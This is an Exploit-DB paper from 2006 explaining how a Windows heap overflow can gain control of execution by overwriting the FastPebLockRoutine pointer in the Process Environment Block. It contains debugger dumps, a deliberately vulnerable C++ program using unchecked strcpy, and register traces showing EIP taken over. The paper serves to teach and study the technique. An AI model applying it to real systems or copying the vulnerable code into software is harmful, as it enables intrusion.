Windows Heap Overflows using the Process Environment Block (PEB)

EDB-ID:

13178

CVE:

N/A


Author:

c0ntex

Type:

papers


Platform:

Multiple

Date:

2006-05-31


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

			Windows Heap Overflows using the Process Environment Block (PEB)
                                        by c0ntex | c0ntexb[at]gmail.com
                                             www.open-security.org
                        ----------------------------------------------------------------


The PEB (Process Environment Block) is a process specific area of userland memory that contains details about
each running process. Since PEB information is user modifyable, it runs in the context of the process address
space. Information contained in the PEB includes the image base address, heap information, loaded modules and
defined environment variables amongst other things. A quick look at the PEB of a vulnerable application shows
us this information:


0:000> !peb
PEB at 7ffdf000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            Yes
    ImageBaseAddress:         00400000
    Ldr                       00241ea0
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 00241f58 . 00242018
    Ldr.InLoadOrderModuleList:           00241ee0 . 00242008
    Ldr.InMemoryOrderModuleList:         00241ee8 . 00242010
            Base TimeStamp                     Module
          400000 447748b6 May 26 19:28:06 2006 C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe
        77f50000 3eb1b41a May 02 00:56:10 2003 C:\WINXP\System32\ntdll.dll
        77e60000 40d1dbcb Jun 17 18:58:35 2004 C:\WINXP\system32\kernel32.dll
    SubSystemData:     00000000
    ProcessHeap:       00140000
    ProcessParameters: 00020000
    WindowTitle:  'C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe'
    ImageFile:    'C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe'
    CommandLine:  '"C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe"'
    DllPath:      'C:\Documents and Settings\c0ntex\Desktop\testing;C:\WINXP\System32;C:\WINXP\system;
C:\WINXP;.;C:\Program Files\Debugging Tools for Windows\winext\arcade;C:\Program Files\Windows Resource
Kits\Tools\;C:\WINXP\system32;C:\WINXP;C:\WINXP\System32\Wbem;C:\WINXP\system32\nls;C:\WINXP\system32\nls
\ENGLISH;C:\Program Files\Informix\Client-SDK\bin;c:\oracle\ora90\bin;C:\Program Files\ATI Technologies\
ATI Control Panel;C:\PROGRA~1\ATT\Graphviz\bin;'
    Environment:  00010000
        ALLUSERSPROFILE=C:\Documents and Settings\All Users
        APPDATA=C:\Documents and Settings\c0ntex\Application Data
        CommonProgramFiles=C:\Program Files\Common Files
        COMPUTERNAME=b0xen
        ComSpec=C:\WINXP\system32\cmd.exe
        HOMEDRIVE=C:
        HOMEPATH=\
        LOGONSERVER=\\secret
        NUMBER_OF_PROCESSORS=1
        OS=Windows_NT
        Path=C:\Program Files\Debugging Tools for Windows\winext\arcade;C:\Program Files\Windows Resource
Kits\Tools\;C:\WINXP\system32;C:\WINXP;C:\WINXP\System32\Wbem;C:\WINXP\system32\nls;C:\WINXP\system32\nls
\ENGLISH;C:\Program Files\Informix\Client-SDK\bin;c:\oracle\ora90\bin;C:\Program Files\ATI Technologies\
ATI Control Panel;C:\PROGRA~1\ATT\Graphviz\bin;
        PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
        PROCESSOR_ARCHITECTURE=x86
        PROCESSOR_IDENTIFIER=x86 Family 6 Model 9 Stepping 5, GenuineIntel
        PROCESSOR_LEVEL=6
        PROCESSOR_REVISION=0905
        ProgramFiles=C:\Program Files
        SESSIONNAME=Console
        SystemDrive=C:
        SystemRoot=C:\WINXP
        TEMP=c:\temp
        TERMID=0645A
        TMP=c:\temp
        USERDOMAIN=secret
        USERNAME=c0ntex
        USERPROFILE=C:\Documents and Settings\c0ntex
        WINDBG_DIR=C:\Program Files\Debugging Tools for Windows
        windir=C:\WINXP


In general the PEB holds some pretty useful information for a user when analysing a process, looking at the
structure in ntdll.dll, we can see each of the sections:


0:000> dt ntdll!_PEB 7ffdf000
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 SpareBool        : 0 ''
   +0x004 Mutant           : 0xffffffff
   +0x008 ImageBaseAddress : 0x00400000
   +0x00c Ldr              : 0x00241ea0 _PEB_LDR_DATA
   +0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : (null)
   +0x018 ProcessHeap      : 0x00140000
   +0x01c FastPebLock      : 0x77fc49e0 _RTL_CRITICAL_SECTION
   +0x020 FastPebLockRoutine : 0x77f5b2a0
   +0x024 FastPebUnlockRoutine : 0x77f5b380
   +0x028 EnvironmentUpdateCount : 1
   +0x02c KernelCallbackTable : (null)
   +0x030 SystemReserved   : [1] 0
   +0x034 ExecuteOptions   : 0y00
   +0x034 SpareBits        : 0y000000000000000000000000000000 (0)
   +0x038 FreeList         : (null)
   +0x03c TlsExpansionCounter : 0
   +0x040 TlsBitmap        : 0x77fc4680
   +0x044 TlsBitmapBits    : [2] 0
   +0x04c ReadOnlySharedMemoryBase : 0x7f6f0000
   +0x050 ReadOnlySharedMemoryHeap : 0x7f6f0000
   +0x054 ReadOnlyStaticServerData : 0x7f6f0688  -> (null)
   +0x058 AnsiCodePageData : 0x7ffb0000
   +0x05c OemCodePageData  : 0x7ffc1000
   +0x060 UnicodeCaseTableData : 0x7ffd2000
   +0x064 NumberOfProcessors : 1
   +0x068 NtGlobalFlag     : 0x70
   +0x070 CriticalSectionTimeout : _LARGE_INTEGER 0xffffe86d`079b8000
   +0x078 HeapSegmentReserve : 0x100000
   +0x07c HeapSegmentCommit : 0x2000
   +0x080 HeapDeCommitTotalFreeThreshold : 0x10000
   +0x084 HeapDeCommitFreeBlockThreshold : 0x1000
   +0x088 NumberOfHeaps    : 3
   +0x08c MaximumNumberOfHeaps : 0x10
   +0x090 ProcessHeaps     : 0x77fc5a80  -> 0x00140000
   +0x094 GdiSharedHandleTable : (null)
   +0x098 ProcessStarterHelper : (null)
   +0x09c GdiDCAttributeList : 0
   +0x0a0 LoaderLock       : 0x77fc1774
   +0x0a4 OSMajorVersion   : 5
   +0x0a8 OSMinorVersion   : 1
   +0x0ac OSBuildNumber    : 0xa28
   +0x0ae OSCSDVersion     : 0x100
   +0x0b0 OSPlatformId     : 2
   +0x0b4 ImageSubsystem   : 3
   +0x0b8 ImageSubsystemMajorVersion : 4
   +0x0bc ImageSubsystemMinorVersion : 0
   +0x0c0 ImageProcessAffinityMask : 0
   +0x0c4 GdiHandleBuffer  : [34] 0
   +0x14c PostProcessInitRoutine : (null)
   +0x150 TlsExpansionBitmap : 0x77fc4660
   +0x154 TlsExpansionBitmapBits : [32] 0
   +0x1d4 SessionId        : 0
   +0x1d8 AppCompatFlags   : _ULARGE_INTEGER 0x0
   +0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER 0x0
   +0x1e8 pShimData        : (null)
   +0x1ec AppCompatInfo    : (null)
   +0x1f0 CSDVersion       : _UNICODE_STRING "Service Pack 1"
   +0x1f8 ActivationContextData : (null)
   +0x1fc ProcessAssemblyStorageMap : (null)
   +0x200 SystemDefaultActivationContextData : 0x00130000
   +0x204 SystemAssemblyStorageMap : (null)
   +0x208 MinimumStackCommit : 0


In exploitation, the PEB becomes a useful target due to the fact of it's stability, and the actual sections
that we utilise are the FastPebLockRoutine and FastPebUnlockRoutine pointers.


0:000> dt ntdll!_PEB 7ffdf000
   ... SNIP ...
   +0x01c FastPebLock      : 0x77fc49e0 _RTL_CRITICAL_SECTION
   +0x020 FastPebLockRoutine : 0x77f5b2a0
   +0x024 FastPebUnlockRoutine : 0x77f5b380
   ... SNIP ...


Overwriting FastPebLockRoutine is actually overwriting a pointer to RtlEnterCriticalSection:

        FastPebLockRoutine
        DS:[7FFDF020]=77F5B2A0 (ntdll.RtlEnterCriticalSection)

and overwriting FastPebUnlockRoutine is actually overwriting the RtlLeaveCriticalSection pointer:

        FastPebUnlockRoutine
        DS:[7FFDF024]=77F5B380 (ntdll.RtlLeaveCriticalSection)


Now we shall continue the example and work a vulnerable piece of code!


////
//   Heap_Overflow.cpp
////
#include <stdio.h>
#include <windows.h>

int main(int argc, char *argv[])
{
        HLOCAL peb_chunk1 = NULL;
        HLOCAL peb_chunk2 = NULL;
        HANDLE peb_heap = NULL;

        printf("\nAn example heap overflow bug\n");

        if(argc < 2) {
                printf("Usage: ./peb.exe string1 string2\n");
                exit(1);
        }

        peb_heap = HeapCreate(0x00, 0x00, 0x00);

        peb_chunk1 = HeapAlloc(peb_heap, 0x00, 0x64);
        strcpy((char *)peb_chunk1, argv[1]);

        peb_chunk2 = HeapAlloc(peb_heap, 0x00, 0x64);
        strcpy((char *)peb_chunk1, argv[2]);

        HeapFree(peb_heap, 0x00, peb_chunk1);
        HeapFree(peb_heap, 0x00, peb_chunk2);

        HeapDestroy(peb_heap);

        return 0;
}


On running the program in Windbg, we shall pass the application a large string to trigger the heap overflow
bug and eventually the program will crash at the following location:


77f8452d 8901             mov     [ecx],eax         ds:0023:61616161=????????
77f8452f 894804           mov     [eax+0x4],ecx


the registers will look like so:


eax=61616161 ebx=00000024 ecx=61616161 edx=003407a0 esi=003407a0 edi=00340000
eip=77f8452d esp=0012f814 ebp=0012fa2c iopl=0         nv up ei pl zr na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010246
ntdll!RtlAllocateHeapSlowly+0x6bd:
77f8452d 8901             mov     [ecx],eax         ds:0023:61616161=????????


and as we see, we control EAX and ECX, giving us the chance to write-anything-anywhere. This is a standard
heap overflow utilising the above FLINK and BLINK pointers from the heap routines. Examining the Un/Locking
pointer location prior to exploitation, they look something like so:


0:000> dd 0c7ffdf020 L4
7ffdf020  77f5b2a0 77f5b380 00000001 00000000


Here, the PEB Lock pointer [7FFDF020] points to [77F5B2A0]
and the PEB Unlock pointer [7FFDF024] points to [77F5B380]


So we set ECX to the address of the PEB Lock pointer and EAX with an address that points to our shellcode.
In this example we are just jacking PEB with 61616161 to prove we can own EIP. After some preperation, the
registers will look similar to the following:


EAX 61616161    <---- Our malicious address to write
ECX 7FFDF020    <---- Our jacked pointer to write over
EDX 003507A0 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaa...."
EBX 00000024
ESP 0012F79C
EBP 0012F9B4
ESI 003507A0 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaa...."
EDI 00350000
EIP 77F8452D ntdll.77F8452D


and the MOV DWORD PTR DS:[ECX],EAX will overwrite 7FFDF020 with our malicious values (perhaps a call or jmp
to ECX). The second MOV will fail and access violate, but I don't care here. Next, we continue the process
in Olly with Shift +f7 and suddenly we see some magic. We have our pointer overwritten prefectly:


        7FFDF020  61 61 61 61 80 B3 F5 77  aaaaÂ.³õ       7FFDF028  01 00 00 00 00 00 00 00  .......

        PEB Lock pointer [7FFDF020] points to [61616161]


Continuing the process again with Shift +f9, we end up with our registers looking like:


EAX 7FFDF000
ECX 61616161
EDX 000001FF
EBX 00000000
ESP 0012FE24
EBP 0012FE60
ESI 77D4A608
EDI 77F59037 ntdll.77F59037
EIP 61616161    <---- YEY!!!!


Perfect, we managed to make the process jump to our user supplied location and execute our values. This means
that we have reliable code execution across multiple platforms, as the  lock pointer is the same on Windows 2k
with any service pack and Windows XP SP0/1. On XP SP2 we run in to other heap exploit issues which are beyond
the scope of this document.

On Windows Server 2003 SP0, unfortunatly the pointers to RtlEnterCriticalSection and RtlLeaveCriticalSection
have been randomized which means we can not use this method as a stable location to write to.

        0:000> dd 0x7ffdf020 L4
        7ffdf020  00000000 00000000 00000001 00000000

Also we run in to other heap exploit issues which are beyond the scope of this document.


I hope this quick paper has been useful in helping understand what PEB overwrites are and how to perform the
technique, it really is a piece of cake!


cheers,
c0ntex

# milw0rm.com [2006-05-31]